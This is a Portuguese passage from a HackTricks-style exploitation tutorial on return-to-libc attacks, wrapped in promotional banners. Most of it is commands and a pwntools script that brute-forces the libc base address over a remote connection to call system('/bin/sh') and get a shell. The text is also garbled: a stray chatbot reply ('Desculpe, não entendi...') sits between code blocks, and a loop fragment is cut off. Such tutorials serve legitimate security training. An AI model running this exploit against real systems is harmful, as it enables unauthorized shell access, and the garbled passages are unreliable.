☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
**Se você encontrou um binário vulnerável e acha que pode explorá-lo usando Ret2Lib, aqui estão alguns passos básicos que você pode seguir.**
# Se você está **dentro** do **host**
## Você pode encontrar o **endereço da lib**c
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
Se você deseja verificar se o ASLR está alterando o endereço do libc, você pode fazer o seguinte:
```bash
for i in `seq 0 20`; do ldd | grep libc; done
```
## Obter o deslocamento da função system
Para explorar uma vulnerabilidade de retorno para a biblioteca (ret2lib), precisamos saber o deslocamento da função `system` na biblioteca `libc`. Podemos obter esse deslocamento usando a ferramenta `objdump`.
Primeiro, precisamos encontrar a biblioteca `libc` usada pelo programa. Podemos fazer isso usando o comando `ldd`:
```bash
$ ldd /bin/ls
linux-vdso.so.1 => (0x00007ffce8bfe000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f5d5d3c2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d5cf00000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f5d5cc8f000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5d5ca8b000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d5d7c8000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5d5c86e000)
```
Neste exemplo, a biblioteca `libc` está localizada em `/lib/x86_64-linux-gnu/libc.so.6`.
Agora podemos usar o `objdump` para encontrar o deslocamento da função `system` na biblioteca `libc`:
```bash
$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
000000000004f440 w DF .text 0000000000000036 GLIBC_2.2.5 system
```
O deslocamento da função `system` é `0x4f440`.
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
## Obter o deslocamento de "/bin/sh"
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
## /proc/\/maps
Se o processo estiver criando **filhos** toda vez que você se comunica com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
Aqui você pode encontrar **exatamente onde a libc é carregada** dentro do processo e **onde será carregada** para cada filho do processo.
![](<../../.gitbook/assets/image (95).png>)
Neste caso, ela é carregada em **0xb75dc000** (este será o endereço base da libc)
## Usando gdb-peda
Obtenha o endereço da função **system**, da função **exit** e da string **"/bin/sh"** usando gdb-peda:
```
p system
p exit
find "/bin/sh"
```
# Bypassando o ASLR
Você pode tentar forçar a barra para encontrar o endereço base do libc.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
Desculpe, não entendi o que você quer dizer com "Code". Você pode me dar mais informações ou contexto?
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.